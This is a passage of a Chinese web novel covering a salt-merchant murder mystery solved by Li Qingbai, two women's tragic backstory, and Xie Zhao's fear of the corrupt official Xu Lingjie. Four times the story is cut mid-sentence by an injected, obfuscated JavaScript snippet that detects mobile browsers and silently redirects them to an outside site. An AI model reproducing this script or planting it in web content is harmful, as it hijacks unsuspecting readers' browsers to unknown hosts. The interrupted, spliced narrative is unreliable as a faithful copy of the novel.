富夫人今日依旧浓妆艳抹，也难为她死了当家的还有心情妆扮：“哟，这不是守活寡的小媳妇嘛？你家谢爷杀了我夫君，是要以命抵命的，我劝你趁早和离改嫁，免受牵连之苦。” 她淡然得像秋日里一朵闲云：“我为何要和离改嫁？我夫君若死了，所有家业都是我的，说不定我就是新一任大旻首富。” 女人瞬间吃瘪。 “不过，我夫君又不是凶手，怎么会死？他会长命百岁，一生无虞。” “啧啧，没想到啊，你这小妮子这么护着他！我问你，他与我夫积怨已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278583|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久，昨日又争锋相对，不是他报复杀人又是谁？” 李清白胸有成竹道：“当然不是他。” 富夫人怒目圆睁：“你说不是就不是？” 李清白嘿嘿一笑：“他整夜都与我同床共枕，哪有工夫去你府上行凶？” “噫——” 下人们骚动起来。 “不要脸！这种浑话，亏你也说得出口！” “怎就不能说了？我说的是事实。” “骗谁呢！谁人不知谢昭患有不举之症，他怎么可能……” 李清白故作羞怯：“这你就有所不知了，他可厉害了。” “噫————” 下人们一时间忘了自己是来闹事的，纷纷放下手中武器，交头接耳地闲话起来。李清白凑近富夫人那张脂粉气十足的脸，悄声道：“只可惜，再厉害也没你夫君厉害，毕竟他都厉害死了呢。” “你——” 暴怒的富夫人抬手就要扇她巴掌，她可不是吃素的，狠狠甩下她手臂：“今日这里是我当家做主，不容你们撒野，要耀武扬威，滚回你们富府去！” “好！好！” 谢府家丁们齐整整为夫人喝彩，对方家丁这才想起自己是来干什么的，重操武器作攻击态。 富夫人是个泼辣的，哪里肯善罢甘休：“哼，就算不是谢昭做的，那也是他指使底下人做的！一直跟着他的那块''铁板''去哪儿了？” 李清白硬着头皮撒谎：“他去城外办事了，没有三日回不来。” 富夫人这下找到了破绽，领着家丁就要闯府搜查：“一定是他！你们把他藏哪里去了？凶器和夜行衣一定就在里面，来人，给我搜！” 两方兵戎相见，势同水火。李清白不便动武，左右拦着气势汹汹的富夫人，她却叫人来把她制住，带了两个大汉就往府里冲。 “哎唷！” 挣扎间，李清白看到富夫人转瞬跌在地上，指着撞她的那名男子大骂道：“你是什么东西，也敢挡我去路？” 未着外衣鞋履的许之霄傻傻挠头：“嘿嘿嘿，村姑来了。” 李清白暗道不妙。 富夫人气得直跳脚，命人用木棍打了他两下，许之霄蹲在地上，嗷嗷大哭起来。 李清白用力挣脱束缚，冲过去把他护在怀里：“富夫人！有事冲我来，不要为难他。” 富夫人拈指调笑：“哟，你还有个小相好的。模样儿还挺俊的，可惜是个傻子。” 李清白正色道：“莫瞎说！这是首辅大人家的公子许之霄，他……只是我的朋友。” “嘁，谁信哪？许大人家的公子小姐，个个都是人中龙凤，这个傻子，怎么可能？我劝你识相点让开，不然我连你一起打！” 李清白张开身子，尽可能地多护住之霄一些，闭紧嘴唇不再辩解。 木棍像冰雹一样砸在她身上。她想起有一年在京中，武艺尚不精进的她也是这样，为护一个被地痞欺凌的小孩，挨了此生最痛的一次打。 从那以后她便勤学苦练，与人干仗时再没落过下风，可今日她心甘情愿吃这个亏，为许之霄，也为谢昭。 不知过了多久，她痛得有点没知觉了，忽听得耳畔传来一个熟悉的声音。 “住手！” 17. 引蛇 看到夏荫的那一刻，她有些踏实，也有些失落。 要是来的是谢昭就好了。 夏荫红了眼，像只随时准备扑杀猎物的小豹子，将那两个行凶的大汉踹飞在地，把李清白和许之霄扶起来。 “阿……夫人……” 夏荫几欲落泪，李清白搀着他臂膀，有气无力地笑道：“哎呀，没事的啦。” 夏荫伸出一掌，将一根手臂粗的木棍劈成树枝，恶狠狠地盯着富夫人，看得她心里直发毛。 她知道来者不善，挤笑道：“哎呀，都是误会，误会。我们这就回去，其余的，等官府定夺吧。” 她转身想溜，夏荫操起另一根木棍，重重击打在她背部。她痛得叫喊连天，趴在地上半天都没能起身，被夏荫踩着手掌狼狈求饶，妆面早已被眼泪弄花。 “你今日伤的，是首辅大人家的公子和两淮第一盐商的夫人，赏你这一棍已是轻的。待首辅大人和我们爷回来，有你好受的，你最好老实点，否则后果自负。” “是是是，是是是！” 富夫人带着家丁连滚带爬跑走。 许之霄和夏荫同时围着她关心，她有些尴尬，叫小沛来扶自己回房上了些药，又硬撑着走了出来。 夏荫一直在屋前等她，殷殷迎上来：“你做什么？受了伤，就在屋里好好歇着。” “我想去看看谢昭。” “他？他的境遇可比你强多了。有我仗义疏财，在案子水落石出之前，那帮人绝不敢把他怎么样。” “那……我也想去看看他，问问他这究竟是怎么回事。” “我都替你问了，不用你亲自出马。仵作验了尸，富大友是昨夜寅时左右在自己房内死亡的，身受多处外伤，流血过多而死，凶器应为利刃一类。他共有一妻五妾，这几年生意越做越大，所赚颇丰，也愈发害怕同行或是仇家报复，府上安防自是没得说，昨夜也并无异事发生。” “如此说来，是他府里人作案喽？” “何以见得？我昨夜快把这太州城翻转过来了，也没发现元旌的任何踪迹，我认为极有可能是谢昭授意元旌杀的人。” 李清白反驳：“不对。谢昭丢了盐船，怀疑是富大友所劫，又没找到线索，这种时候把他杀了，岂不是石沉大海？” “富大友若得了手，必不会招摇河上，早就分装小袋多路转运了，谢昭上哪里去追？更何况，我听说昨日他们在韩府险些打起来，一定是谢昭派元旌杀人泄愤。” “可谢昭答应过我，他不会对富大友下手。” 夏荫冷哼：“你该不是被猪油蒙了心吧！他的话你也信？” 李清白坚定道：“我信。” “敢不敢打赌？这事儿若不是谢昭干的，哪怕回了京，我也再做你三个月仆人。” “一言为定。” “那如果你输了呢？” “我不会输的。不过，公平起见，我总要给你些条件。” 夏荫在心中琢磨着，若你输了就和我在一起，只是话到嘴边就变成了：“若你输了，你就做我三个月仆人吧。” “嘁，没正经。” “你方才为何说是他府里人干的？好像很有把握的样子。” “若你查探的消息为真，昨夜并无外人进入富府，他受伤流血颇多，搬运尸体十分不便，大概率房间就是第一案发现场，只能是自己人作案了。” “相信衙门很快会查个水落石出的。” “不，我现在就要去一趟富府。” 夏荫伸臂阻拦：“急什么？衙门那边我都打点好了，谢昭顶多在牢里关几天，又不会受什么罪。” 李清白摇头：“你我又不是没去过监牢，阴湿可怖，鼠虫横行，谢昭身子那么弱，伤病又未愈，只怕再害出什么毛病来。” “你就那么关心他？” “夏荫，我也想知道，他的货究竟哪儿去了。把谢昭放出来活动，我们才能顺藤摸瓜，若是能收缴这批私盐，再不济也能治治谢昭的罪，折折许灵阶的羽翼。” 说这话时，她的心都在抖，只是她也别无选择。 …… 他们乘马车去了富府，守门的小厮一见夏荫这活阎王，还以为是来找他们算账的，忙不迭跑进去报信。不多时，面容憔悴的富夫人瑟瑟缩缩挪了出来。 “富夫人，我们是来协助调查的。” “调……调查什么？你们又不是官家的人。” 夏荫声震林木：“可我们爷为这事下狱了。我们也想出一份力，既是早日替爷洗刷冤屈，也是早日抓到真凶，以慰富爷在天之灵。” “可……” 富夫人明显不想让他们进来，可夏荫的手只随随便便搭在那鎏金兽首衔环上，便轻松将它拽了下来。害怕和它一样下场的她，只得将这二位仙人恭恭敬敬请了进来。 方才在路上，李清白问了许多细节，比如这富夫人名叫高兰，是本地富户家的女儿，闺阁里就许配给了家族世代经商的富大友。高兰脾气不大好，起初夫妻两个经常拌嘴，后来随着富大友离家次数越来越多，加之又娶了五房妾室，这二人的关系竟然越来越和睦。高兰很是大方，听说那五房妾室都是她亲自帮忙纳的，最近正在张罗第六个。不过，这富大友身体并不好，这些年来一直无所出。 高兰一改在谢府的嚣张跋扈，亲自为他们端来茶水，眼神中透着恐惧：“您二位有什么想了解的，我一定知无不言，言无不尽。” 他俩早已明确好了分工——夏荫负责走访家丁丫鬟，问清事发当晚富大友的情况，及各人的不在场证明，多番对照看是否有人撒谎，也能理出一条较为完整的时间线；她则负责调查这一妻五妾，毕竟她们是最了解富大友的人，也是和他最亲近的人。各自行动后再汇总讨论，相信总能有些眉目。 饮过茶后，夏荫便四处走访去了，她则让高兰把那五名如花似玉的妾室都叫了出来。她们袅袅娜娜出场的时候，高兰眼中明显闪过一丝惊慌。 她不动声色看在眼里。 她让她们分别报了生辰籍贯、习□□好等，了解到这老二到老六分别叫江照月、张珠荔、孟畅、冉珂、宋婵，老二在五年前嫁进来，其余四个则依次相隔一年入府。 五个姑娘皆是才貌出众，富大友属实艳福不浅——作为太州本地的“土皇帝”，他夜里随处“宠幸”，昨夜去的是二房和四房，行完房便自行回屋睡觉。提起他时，五个姑娘都用词谨慎，如履薄冰，想必平日里在这富丽堂皇的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292049|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府上也生存得艰难，生怕给自己找了麻烦。 李清白问完她们的口供，觉得没有什么可疑之处，大家的关系也意外地和睦，便提出去二房和四房看看。 两个姑娘还没说话呢，高兰就先一步拒绝了她： “两位妹妹昨夜都没睡好，还是先让她们补个觉吧。” 高兰说这话的语气，关切中又似乎带着自己的小心思。 李清白觉得她有些遮遮掩掩的意思，坚持要去房内坐坐。僵持了半天，高兰终于还是说不过她，只得让人引了路。 二房江照月是个娴静如水的姑娘，气质清冷忧郁，屋内陈设多是简朴素雅风格，并无华美式样。她喜好女工，屋内随处可见针脚细密工整的绣品，紫檀木绣架上还绷着半幅未成的兰草图，一看便是精心设计的图样。 她走近多宝格，见上头并无金玉玩器，只齐齐摆着数只绣盒。 她虽甚少接触这些玩意，放在一起比对便知，右下角那只不起眼的盒子里，少了一柄绣剪。 “咦？这把剪子哪去了？” 高兰替江照月作答：“锈得不成样了，明日便配副新的。” 四房孟畅则是个热情似火的姑娘，主动招呼李清白去房里，一进门就扯着嗓子炫耀她新得的赤金螭虎衔珠镯。这间屋子像个小藏宝阁一样，梳妆台上摆满首饰盒，珊瑚珠子、玛瑙镯子、金宝坠子应有尽有。东西虽多，姑娘却很爱收捡，每样东西都放得整整齐齐，没有一丝凌乱。 她也一眼就看出，那只剔红漆盒的最下层，曾经摆放过一支长簪。 “姐姐，你头上戴的是这支簪子么？” 孟畅答：“才不是呢。那支金嵌宝梅花簪掉了块红宝石，送去修了还没送回呢。” 走出门时，她突然提出想去高兰房里看看。 高兰不悦：“寻常女子用的东西，谢夫人是没有吗？非要把我们一个个都看穿吗？” 李清白似笑非笑：“是了。我那夫君抠搜得很，我也想看看别家夫人平日里都穿什么用什么，回去好让他买。” 高兰无话可说，只得让她入内。 李清白跨进高兰房内，目光轻轻一扫，便觉出几分异样。这屋子陈设竟是两极分明，教人一时捉摸不透。 东边梳妆台上明明摆着几件鎏金首饰，旁边却搁着个素面乌木针线匣；多宝格上一半是鲜亮摆件，另一半却只供着尊白瓷观音，香炉里还积着新落的香灰；墙上挂画左面浓丽右面淡雅，中间竟用一道竹帘隔开，仿佛要将这屋中气象生生劈作两半。 最可疑的是，高兰一进屋就坐到了床边，不肯挪动分毫。 她假意外出如厕，却悄悄猫在窗边偷窥—— 果然不出她所料，只见高兰正做贼心虚地将一双皂靴收纳起来，看尺码应该是个矮个男人！ 不一会儿，夏荫也完成了任务，二人一前一后出了门，李清白问道： “你那边可有什么收获？” 夏荫有些沮丧：“也没什么特别的呀。我慢慢和你说，你听听有没有什么破绽。” 李清白却信心满满：“没事，凶手今晚就会现行。” “啊？” “你且随我在屋顶上蹲一晚，等着捉那高兰的奸夫。” 18. 缉凶 “你说什么？奸夫？” “是。高兰很有可能伙同奸夫杀了富大友。” “可下人们都说他们夫妻关系并不差啊？顶多是富大友不常去高兰房里，多宠爱那几房小妾，可中年夫妻不就是这样么？” “我问她们话时，提及富大友表情都很不自然，生怕说错了话，可见平时常受苛待，人都死了还心有余悸。富大友对她们尚且如此，对高兰就更不用说了，你觉得高兰对他还有感情吗？夫君被人杀了，她竟还有心思梳妆打扮，今日来闹事也是一心找谢昭的麻烦，你可曾看到她为亡夫流过一滴眼泪？” 夏荫边回忆边点头：“对，她看起来似乎并不悲伤。” 李清白接着道：“那是因为她早就替自己找好了退路。” “你发现了什么？” “我去二房和四房那时，江照月绣盒中的绣剪、孟畅首饰盒中的簪子都有明显缺失，好巧不巧昨夜富大友''光顾''，很难不令人怀疑，是高兰提前安排好混淆视听的，想误导我们浪费时间去追查那莫须有的凶器。” “这和奸夫有什么关系？” “我有了猜测后，执意要去高兰房里看看，她和我争执了半刻，实在找不到理由拒绝了，才不得已放我进去。她的审美风格你也看到了，素爱堆砌明艳色彩，她的房内却有许多高雅之物，想来是为了迎合那奸夫的品味。” “你的推测不无道理，可证据呢？” “她此地无银三百两，从进屋起屁股就黏在了床上，想要掩饰床底下的东西。我找了个借口偷看，发现她鬼鬼祟祟藏起一双男靴，一定就是她的奸夫！不过，那奸夫的脚估摸着和我差不多大，个头应该不高。” “这么说，还真不是谢昭和元旌干的？” “等着瞧。晚上我们一起去''捉奸''。” …… 这天夜里，李清白和夏荫排排趴在屋顶上，冻得眼泪鼻涕直流。 也不知是受了惊吓还是起了警惕，高兰一整夜都待在房里安睡，并未与那奸夫私会。天亮后，二人囫囵睡了一觉，便去吃了顿热腾腾的羊肉火锅，恢复精神后，约定不达目的不放弃，夜深再战，守株待兔。 第二夜，富府终于有了动静。 起先，是小花园的树林里传来异动，紧接着，有个小厮模样的矮瘦男子悄悄摸到高兰门前，敲门三声以对暗号，高兰便很快开了门。 二人彼此会意，稍稍多等了一会儿，便轻巧跳下屋檐，李清白留在门外把守，夏荫冲进去捉人，绝对插翅难逃。 夏荫疾风般飞入，吹燃火折子看清对方面目的那一刻，大声惊叫了出来： “江照月？” 此刻，那柔柔弱弱的姑娘正依偎在高兰怀中，惊恐地瞪大眼睛。须臾之前二人大概还在诉说浓情蜜意，根本想不到她们早已被盯上。 李清白也吓了一跳。她确实没有想到，高兰的“奸夫”竟然是江照月？ “你们……” 高兰没打算隐瞒，坦白道：“是，我和照月在一起。她是我的人。” 夏荫将火折子吹灭，给她们留足体面。江照月哆哆嗦嗦穿好衣裳，高兰将她护在身后，视死如归地望着他们。 “是你们合谋杀了富大友？” 高兰答得干脆：“是我。我想要他的家产，带照月远走高飞，正巧谢昭和他发生口角，又有许多人作证，我本来也厌极了他，便实施了罪行。” 李清白没想到高兰认罪认得这么顺利，抓住机会问清细节。 “富大友身形健硕，你是如何杀死他的，又是如何瞒过下人眼睛的？” “照月可以扮作小厮，我也可以。我买通了一个名叫阿木的下人，让他躲在房内帮忙，自己扮作他的样子进去送茶水，用他枕下那把原本用来自卫的刀杀了他。因为力气不足以一刀毙命，砍了许多刀才没气，凶器在他房内博古架后的暗格里，你们可以去搜。不过，阿木被我送回了乡下，你们大概很难找到他。” 夏荫补充：“是有这么个人，回乡探亲去了。根据那些人所说，他平时表现挺正常的，我也没放在心上。” 李清白再问：“你举刀时，他就没有挣扎？屋里动静这么大，怎么会不被人发觉？” “阿木身强力壮，有他帮忙钳制，富大友毫无挣扎的余地。” “你为什么不让阿木直接杀了他，非要亲自动手呢？” “我不想害了阿木，毕竟他们也没有什么深仇大恨，若是不幸被捕，他也不至于背上死罪。” “可你就不怕背上死罪吗？你不是要带江照月远走高飞吗？” 高兰闷声不语。 “你和富大友又有什么深仇大恨，恨到你要捅他那么多刀？” 屋内只余朦朦胧胧的月光，李清白和夏荫却都清楚地看到了，江照月那双美丽又凄婉的眼睛，蒙上了一层亮晶晶的泪壳。 “高兰……” 高兰不愿再多说，平静地走到他们身边：“你们带我去见官吧。” 李清白最后问了她一句：“高兰，你确定江照月那把绣剪，真的生锈了吗？” 高兰忽然激动起来，紧紧抓住她手臂：“别问了！带我去见官！到了衙门，我把一切都交代清楚，谢昭是清白的，富大友的死与他无关！” 李清白与夏荫对视一眼，皆按下心头思虑，不再追问了，也没捆缚高兰，让她跟在后面往州衙去。 二人心照不宣地放缓了脚步。 夜色深沉，将几人的身影吞没在空旷的街巷。两旁的铺户早已关了门，只偶尔有一两间透出半点昏黄的豆油灯光。 四周静得能听见鞋底摩擦青石板的声音，一声一声，敲在离人心上。 高兰始终没有回头，尽管她知道江照月一直跟着他们走了很远很远。 离衙门还有百步时，江照月终于忍受不住内心的煎熬，扑通跪了下来： “高兰！人明明是我杀的，你为什么那么傻呢？” 她掩面大哭起来。高兰走到她身边，含着眼泪啪地打了她一耳光：“你又犯糊涂了是不是？滚回去说胡话！” 江照月抱住她双腿，哭得更凶：“高兰，高兰，你别去！该我承担的，我自己承担！” “不，那些伤口都是我造成的，是我做的，照月，和你无关！” 二人抱头痛哭，李清白百感交集，戳戳夏荫：“我想，高兰或许买通了仵作，修改了验尸结果，又或许那仵作水平不精，没能看出分叉的剪刀伤与直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296805|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贯的刀伤之间的分别。待会我们再去看看尸体，验证一下，顺便问问，那富大友到底把江照月怎么了。” “好。” 他们与值守的吏目说明来意，在关押高兰与江照月之前，总算弄清了他们之间的恩怨情仇。 原来，早在许配给富大友之前，高兰就和娼妓出身的江照月相爱了。碍于身份差异与世俗眼光，二人不得不分开，高兰也依父母之命嫁给了富大友，婚后却生活得并不幸福。江照月更是凄惨，一直过着受人欺辱的生活，高兰索性将她接来了府中，哪怕跟着富大友也比流落在妓院强，她们二人还可以互相作伴。谁知，这才是噩梦的开始。 富大友发迹后，虽说离家越来越频繁，脾气也越来越大，常常把怨气发泄到她们身上，手段极尽下作。高兰不忍爱人受苦，便不断为他纳妾，想着多少分散些他的注意力，可富大友并没有就此罢休，江照月的性格与出身，注定了她是最受折磨的一个。 那夜，富大友照例将江照月蹉磨一番后，回到房间呼呼大睡。高兰抚着她身上的伤痕，决心让富大友去死。 可当她准备好一切，扮作小厮潜入，正看见江照月举着血淋淋的绣剪，三魂七魄都已飞出体外。她知道富大友枕下有刀，便用那刀混淆了伤口，帮她清理了现场，装作无事发生，再去谢府挑衅，以便嫁祸给谢昭——反正他手上已有数不清的人命，再多一条也不是担当不起。 至于阿木，案发前他正在老爷房里躲懒，冷不防被江照月抓到，被她威胁揭发，只好做了帮凶，事后又被高兰送回了老家。 李清白听得唏嘘，和夏荫咬耳朵：“你不是挺会打点的吗？给她俩也打点下呗。” 夏荫无语：“她们害你家谢昭蹲大狱，还差点受刑领罪哎！” “她们也有苦衷啊。” “不管怎么说，杀人偿命，天经地义。” “这个我自然知道。我只是想，尽可能地让他们少受些罪，多争取些宽待。” “那是当然。” 好生与高兰同江照月交待一番后，李清白急忙赶去见谢昭。 他手脚已没了镣铐，衣衫完整干净，神情虽有些疲惫，倒也不像受过苛待。 李清白围着他转了好几圈，抻抻胳膊，捏捏小腿，又仔细摸了摸他新冒的胡茬，终于一个猛子扎进他怀里。 “谢昭！” 谢昭抬起修长的手臂，迟疑再三，蜻蜓点水般摸了摸她的头：“好了，我没事。” 他的下巴尖抵着她的头，只觉从未这样幸福过。他从来不知道，女子的怀抱可以那么香、那么软，也从来不知道，所爱之人的拥抱能给他那么大的安全感。 可惜她只是浅浅抱了一下，便起身给他讲这两天发生的事。 她那样能说会道，像只叽叽喳喳的小麻雀，他痴痴看着她神采飞扬的样子，他的生命从未这样鲜活过。 他太想留她在身边了。 回府路上，她仍旧一刻也说个不停，他没有插话，只想静静享受这个难得的夜晚。 陡然间，却有什么声音划破长空，为他送来了迟到的情报。 他截下海东青爪间的信件，上头元旌只潦草地写了三个字—— 虎啸帮。 19. 投喂 虎啸帮？ 谢昭眯起眼，记忆浮沉。 太州及江都均隶属阳州府，境内一条历史悠久的运盐河，将无数客商带往大大小小的盐场，又带回源源不断的财富。 南直隶临海，丰纯场隔海可望海陵岛，银沙场隔海可望缘花岛。除了官吏、商人同灶户，古老咸涩的海文化还孕育出一大特殊群体——盐帮。 他们以逃犯或悍匪为首，仗着武装力量大兴私盐，间或做些烧杀抢掠的买卖，盘踞要地自成帮派，虎啸帮便是这一带令人闻风丧胆的盐帮。 帮主曹劲早年跑船为生，积累原始财富后开始武装贩运私盐，带领兄弟们长期占据海陵岛。因为很懂得“人情世故”，官府也就睁一只眼闭一只眼，并不下场干涉，也有许多冒险求财的小盐商，选择与虎啸帮合作，共同运私谋利。 看元旌的意思，是已经查到了些线索，这批货的失踪与虎啸帮有关。 可那曹劲与他向来无冤无仇，如今他正得许灵阶器重，曹劲又有几个胆子敢劫他的船队？ 等元旌回来，一定要好好问清楚。 李清白也知道谢昭得了密信，恐怕又在图谋些什么，只是光线极差，谢昭手速又极快，还没等她找到窥视的机会，那小纸便化作雪片满天飞扬了。 谢昭拍拍袖子拂去尴尬：“你们跑了这几天，一定没来得及好好吃饭吧？意园的厨子比泰昌楼的也差不了多少，回去请你们吃好的。” 李清白眼如灿星：“那我要吃——” “鱼饼虾球？” “还有……” “菱角糖醋排骨？” “还有……” “蟹黄粉皮？” “……” “还有糟香白鱼卷、八宝葫芦鸭、麻油醉蛰头、蜜汁捶藕、蛤蜊炖蛋、栗子烧仔鸡、胭脂鹅脯、荷叶粉蒸肉、荸荠桂花甜糕，对吧？” 李清白瞪圆眼睛：“你怎么知道？” 谢昭笑得温柔：“就你那馋劲儿，有什么不想吃？这些都是本地特色，我慢慢给你安排。” 她哥们儿似的拍了拍他肩膀：“谢昭你实在是太懂我了，够意思！” 他忍不住笑得更张扬了些。 她在京中是什么模样呢？和那些锦衣卫称兄道弟、把酒言欢，碰到好吃的就两眼放光，还是偶尔也会流露出小女儿的情态，与人撒娇卖乖呢？ 他看向也在笑的夏荫，一时醋上心头。 他是大学士夏弦的孙子，他陪她一同来了江都、太州，甘愿做她的奴仆供她驱使。他给她买了双良猪肉脯，和她吃了羊肉火锅，并肩在屋顶上查案。他看她的眼神那样宠溺…… 他对她别有用心。 他要找机会扣他月钱，关他禁闭，把他发配回京，离他的夫人远一点。 …… 回府后，他张罗他们吃了宵夜，故意磨蹭到很晚，想听她亲口说留在他房中。 不料她打着哈欠就想走：“我去看看知雨。这几天都没好好陪过他。” 谢昭急急争辩：“这几天你也没好好陪过我呀！” “……” 他自知失言，红了耳根垂下头。 李清白嗔笑：“你何时轮到和自己的儿子争宠了。” 谢昭攥紧她衣袖，低低道：“你别走。” 李清白盯着他红一阵白一阵的脸，不明白这个雷厉风行的大盐枭，为何在监狱里关了几天，就变成了这么个唯唯诺诺的小孩。 尽管如此，她还是答应了：“好，我好好陪陪你。” 谢昭一副讨到糖吃的表情：“嗯嗯。” …… 这一夜，谢昭睡得无比安稳。 他一向睡眠不佳，稍有棘手费神之事总会思虑颇多，以致整夜无眠。可自从与她亲近了关系，他只觉心头那口枯了多年的古井开始涌水，和她有关的点点滴滴汇成涓涓细流，一刻不停地滋养着他。 只可惜一大早许灵阶便差人来叫他，要他一同去乐韵阁听戏。昨夜她梦中呢喃的美食，他一道也不敢遗漏，命人快些做好了送去给她，好叫她心情舒畅。 许灵阶这趟来太州，除了交际便是游玩，似乎并无要事，令他好生奇怪。可这狗官向来心思深沉，无人猜得透他下一步要做什么，他也只能随侍身旁，悉心观察取证。 好在元旌及时赶回，向他报告了重要消息——他重金广纳线索，问出盐船出事当晚，有人曾目击盐帮的人在河道附近出没。 帮派斗争向来是大鱼吃小鱼，这一带有实力与谢昭抗衡的唯有虎啸帮。因此，他让元旌早做准备，打算午后便扮作寻常商人，冒险登上海陵岛查探。 吩咐完细节，他便命人包下乐韵阁的场子，备好许灵阶爱吃的细点——玫瑰酥、松子糖和刚出炉的蟹黄烧卖，都用温笼煨着，再去恭请这尊大佛。 乐韵阁临水而建，是太州城里顶热闹的所在。谢昭引着许灵阶入座时，台上软糯的淮腔正唱着《珍珠塔》里的“跌雪”一折，许灵阶不多时便听得摇头晃脑，指尖在桌上轻叩着板眼，目光似在台上，又似落在别处。 谢昭不敢听戏，凝神关注着许灵阶的一举一动。果不其然，一盏茶还未饮完，许灵阶便朝他发问上了： “阿昭，我听说，上月月末你从丰纯场支的那批盐，无缘无故不见了，有这事吗？” “是的，大人。” “什么人这样大胆，敢动你的生意？” “还在调查当中，大人不用担心。” 许灵阶倏地停下了叩击。 “哦？”他眼皮微掀，从鼻腔里慢悠悠哼出一声，“那么，你这月孝敬我的银子，怕是要折损不少咯？” 谢昭额上沁出一层冷汗，将身子又躬低了几分：“必不会。小人处处倚仗大人，哪怕变卖产业，也不敢误了您的事。” 许灵阶伸手去拈碟里的玫瑰酥，却不送入口，只捏在指间细细地看，突然啪地一声将它捏碎，酥皮洒落一地。 他起身拍拍干净，踩碎满地狼藉，重新恢复笑容：“那我就放心了。” 谢昭盯着那些被他鞋底碾碎的粉末，想起了很多人。 盐运司同知赵文华，只因秉公核查盐引数目，一周内被弹劾七次，发配贵州充军，未及到达便死在了路上。 太仆寺少卿李默，只因议马政时顶撞了首辅一句，转头便被锦衣卫从直房里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307535|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请走，从此下落不明。 户部右侍郎张简，只因谏言停修仙殿，便被扣上“阻挠国计”的罪名，诏狱里关了不到三日就传来死讯，据说尸体被抬出时，浑身找不到一块好肉。 礼部郎中薛侃，只因呈送《太上老君常说清静经》注本时误将符纸倒置，便被当场呵斥“亵渎天尊”，廷杖八十，生生毙于丹墀之下。 他们的面容和姓名，骄傲和命运，都如同许灵阶脚下的碎屑，无声无息消失在大旻王朝百余年的尘埃里。 不要再有下一个他们。 不能再有下一个他们。 …… 回府路上，谢昭一直紧绷着精神，随时应对许灵阶的问话。好在他心情还不错，只是闲聊了些花鸟鱼虫，谢昭便寻思再淘些新鲜宠物，换着法子讨他高兴。 轿子在意园门前稳稳落下。谢昭先一步躬身打帘，伺候着许灵阶下了轿，自己才稍稍直起些发僵的脊背。 穿过走道，四季海棠开得正艳，泼泼洒洒的红一路烧到朗逸厅檐角。绕过太湖石群，拨云堂前那片青石板空地上，眼前景象却令谢昭头皮发麻—— 只见李清白、谢知雨、夏荫、许之霄同许见卿围作一处，中间赫然卧着一只通体雪白的狮子猫，正慵懒地蜷在地上伸着腿儿，不时发出喵喵的叫声。 更令他恼怒的是，知雨左手攥着一把剔了刺的黄鱼肉，右手拈着几丝风干的火腿红肉，正殷勤地喂着那猫儿，丝毫不懂得物价的金贵。 他忍住喉头恶心，停在离他们一丈远的地方，厉声呵斥道：“知雨！你这是在做什么？” 知雨委屈巴巴：“爹爹，喂猫呀。您也没不许我喂猫呀。” “这些给你娘亲特意准备的，上好的食材，拿去喂野猫？？？我看你是愈发出息了！” 知雨踮踮脚，指着一旁傻笑的许之霄，告状道：“那他还用温乳酪拌的燕窝碎喂猫呢！爹爹怎不骂他？” 又躲到李清白身后：“再说了，是娘亲要我喂的呀，爹爹又怎么不骂娘亲？” “……” 谢昭立马熄了火。 李清白圆场道：“你准备的朝食也太丰盛了，我把他们都拉来也没吃完，剩了也可惜了，刚巧看到这只惹人喜爱的猫儿，一时起兴便用美食逗弄了它，你不要生气。今后可以少做几道菜，或减少每道菜的分量，避免浪费，节约物资。” 许灵阶调侃道：“阿昭，你这位夫人可是会当家的。” 许见卿接茬：“那是自然。阿越姐姐可教了我不少东西。” 许灵阶见李清白和许见卿熟络得很，提议道：“下午我有些事情在身，阿昭，你们夫妇不如陪着见卿和之霄在这太州城逛一逛。” 谢昭始终惦记着登岛一事，一时被安排了新任务，不由得面露犹豫。 他为难地开口：“大人，我……” “你怎么了？” 其实他并没有想好推辞的理由，只是满心想着拒绝，不知怎地就脱口而出。 思索间，李清白飞快接了话： “大人，我们下午也有事。” “哦？” “嘻嘻，我们要去南山寺求子。” 20. 人祸 众人瞳孔巨震。 夏荫：“这……” 许灵阶：“阿昭，看来我那龙虎葆真丹疗效颇佳，一会儿再多给你几瓶服用。” 